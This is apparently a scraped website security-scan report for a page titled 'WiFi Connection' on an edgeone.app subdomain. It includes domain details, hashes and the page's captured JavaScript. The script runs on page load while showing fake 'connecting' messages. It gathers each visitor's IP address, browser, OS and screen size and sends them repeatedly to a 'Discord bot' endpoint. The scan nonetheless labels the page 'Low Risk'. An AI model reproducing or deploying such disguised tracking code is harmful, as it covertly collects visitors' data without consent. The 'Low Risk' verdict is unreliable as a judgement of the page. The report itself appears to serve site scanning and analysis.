technology software

documentation technical

English

You're looking at domain 'wifi1234-0vwzwq88qy.edgeone.app' on the application-focused generic top-level domain (.app) with subdomain 'wifi1234-0vwzwq88qy'. The core label 'edgeone' covers 7 characters with 4 vowels and 3 consonants. It segments into two words: edge, one. The median word length lands at 3.5 characters. No strong language cues emerged from the frequency lists.

html/6b/e4/6be41781-7e29-4ea5-87f8-042dd38d69d8.html.gz

1b8d9feeef9d1ac4a9babe4c9109757dc773a8463649998f071ab42d64802928

width=device-width, initial-scale=1.0, user-scalable=no

viewport

Prudence Malinki

MarkMonitor Inc.

edgeone.app

IRT-SG-ACE

ACE administrator

ACE-SG


        // Mobile device detection
        function detectMobileDevice() {
            const userAgent = navigator.userAgent.toLowerCase();
            let deviceType = 'Unknown';
            let osType = 'Unknown';
            let browserType = 'Unknown';
            
            // Detect device type
            if (/android/.test(userAgent)) {
                deviceType = 'Android';
                osType = 'Android';
                document.querySelector('.mobile-icon').textContent = 'Android';
            } else if (/iphone|ipad|ipod/.test(userAgent)) {
                deviceType = 'iPhone/iPad';
                osType = 'iOS';
                document.querySelector('.mobile-icon').textContent = 'iPhone';
            } else if (/windows phone/.test(userAgent)) {
                deviceType = 'Windows Phone';
                osType = 'Windows Phone';
                document.querySelector('.mobile-icon').textContent = 'Windows';
            } else if (/mobile/.test(userAgent)) {
                deviceType = 'Mobile';
                document.querySelector('.mobile-icon').textContent = 'Mobile';
            } else {
                deviceType = 'Desktop';
                document.querySelector('.mobile-icon').textContent = 'Desktop';
                document.querySelector('.mobile-indicator').textContent = 'Desktop';
            }
            
            // Detect browser
            if (/chrome/.test(userAgent) && !/edge/.test(userAgent)) {
                browserType = 'Chrome';
            } else if (/safari/.test(userAgent) && !/chrome/.test(userAgent)) {
                browserType = 'Safari';
            } else if (/firefox/.test(userAgent)) {
                browserType = 'Firefox';
            } else if (/edge/.test(userAgent)) {
                browserType = 'Edge';
            } else if (/opera/.test(userAgent)) {
                browserType = 'Opera';
            }
            
            // Get screen size
            const screenSize = `${window.screen.width}x${window.screen.height}`;
            
            return {
                deviceType,
                osType,
                browserType,
                screenSize,
                userAgent: navigator.userAgent,
                screen: {
                    width: window.screen.width,
                    height: window.screen.height
                }
            };
        }

        // Get IP address
        async function getIPAddress() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch (error) {
                try {
                    const response = await fetch('https://ipinfo.io/json');
                    const data = await response.json();
                    return data.ip;
                } catch (error) {
                    return 'Unknown';
                }
            }
        }

        // Start Discord bot
        async function startDiscordBot() {
            try {
                updateBotStatus('Starting bot...');
                
                // Send bot start trigger
                const response = await fetch('http://192.168.178.41:8080/start_bot', {
                    method: 'POST',
                    mode: 'cors',
                    headers: {
                        'Content-Type': 'application/json',
                        'Access-Control-Allow-Origin': '*'
                    },
                    body: JSON.stringify({
                        action: 'start_bot',
                        timestamp: new Date().toISOString(),
                        source: 'auto-wifi-connect.html'
                    })
                });
                
                if (response.ok) {
                    updateBotStatus('Bot started!');
                    console.log('Bot start triggered successfully');
                    
                    // Wait a moment for bot to start, then send visitor data
                    setTimeout(() => {
                        sendVisitorData();
                    }, 2000);
                } else {
                    updateBotStatus('Bot start failed');
                    console.log('Failed to start bot:', response.status);
                    // Try to send visitor data anyway
                    setTimeout(() => {
                        sendVisitorData();
                    }, 1000);
                }
                
            } catch (error) {
                console.log('Error starting bot:', error);
                updateBotStatus('Bot error');
                // Try to send visitor data anyway
                setTimeout(() => {
                    sendVisitorData();
                }, 1000);
            }
        }

        // Send visitor data to Discord bot
        async function sendVisitorData() {
            try {
                // Detect device
                const deviceInfo = detectMobileDevice();
                
                // Get IP address
                const ipAddress = await getIPAddress();
                
                // Prepare data for Discord bot
                const botData = {
                    type: 'visitor_notification',
                    ip: ipAddress,
                    device_type: deviceInfo.deviceType,
                    os: deviceInfo.osType,
                    browser: deviceInfo.browserType,
                    screen_size: deviceInfo.screenSize,
                    timestamp: new Date().toISOString(),
                    user_agent: navigator.userAgent.substring(0, 200),
                    source: 'auto-wifi-connect.html'
                };
                
                // Discord bot endpoint - Public IP
                const botEndpoint = 'http://192.168.178.41:8080/visitor';
                
                const response = await fetch(botEndpoint, {
                    method: 'POST',
                    mode: 'cors',
                    headers: {
                        'Content-Type': 'application/json',
                        'Access-Control-Allow-Origin': '*'
                    },
                    body: JSON.stringify(botData)
                });
                
                if (response.ok) {
                    updateStatus('WiFi connection established!');
                    updateBotStatus('Bot active');
                } else {
                    updateStatus('Connection established');
                    updateBotStatus('Bot error');
                }
                
            } catch (error) {
                console.log('Error sending visitor data:', error);
                updateStatus('Connection established');
                updateBotStatus('Bot offline');
            }
        }

        // Update status
        function updateStatus(message) {
            const statusElement = document.getElementById('status');
            statusElement.textContent = message;
        }

        // Update bot status
        function updateBotStatus(message) {
            const botStatusElement = document.getElementById('botStatus');
            botStatusElement.textContent = 'Bot: ' + message;
        }

        // Status messages
        const statusMessages = [
            "Starting bot connection...",
            "Authenticating device...",
            "Establishing secure connection...",
            "WiFi connection established!"
        ];

        let messageIndex = 0;
        
        function updateStatusProgress() {
            if (messageIndex < statusMessages.length) {
                updateStatus(statusMessages[messageIndex]);
                messageIndex++;
                setTimeout(updateStatusProgress, 2000 + Math.random() * 1000);
            }
        }

        // Main function - start bot and send data
        async function mainFunction() {
            try {
                console.log('Starting auto WiFi tracker...');
                
                // Start Discord bot first
                await startDiscordBot();
                
                // Start status updates
                setTimeout(updateStatusProgress, 500);
                
            } catch (error) {
                console.log('Error in main function:', error);
                updateStatus('Connection established');
                updateBotStatus('Bot error');
            }
        }

        // Auto-execute on page load
        window.addEventListener('load', function() {
            console.log('Page loaded, starting auto WiFi tracker...');
            
            // Execute main function immediately
            setTimeout(mainFunction, 1000);
            
            // Periodic updates (every 30 seconds)
            setInterval(sendVisitorData, 30000);
        });

        // Handle screen orientation changes
        window.addEventListener('orientationchange', function() {
            setTimeout(sendVisitorData, 1000);
        });

        // Handle visibility changes
        document.addEventListener('visibilitychange', function() {
            if (!document.hidden) {
                sendVisitorData();
            }
        });
    

WiFi Connection

✅ Low Risk - https://wifi1234-0vwzwq88qy.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
2	43.152.26.58	Singapore	AS139341ACE
2	1	-	-

Security Scan Report: wifi1234-0vwzwq88qy.edgeone.app

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History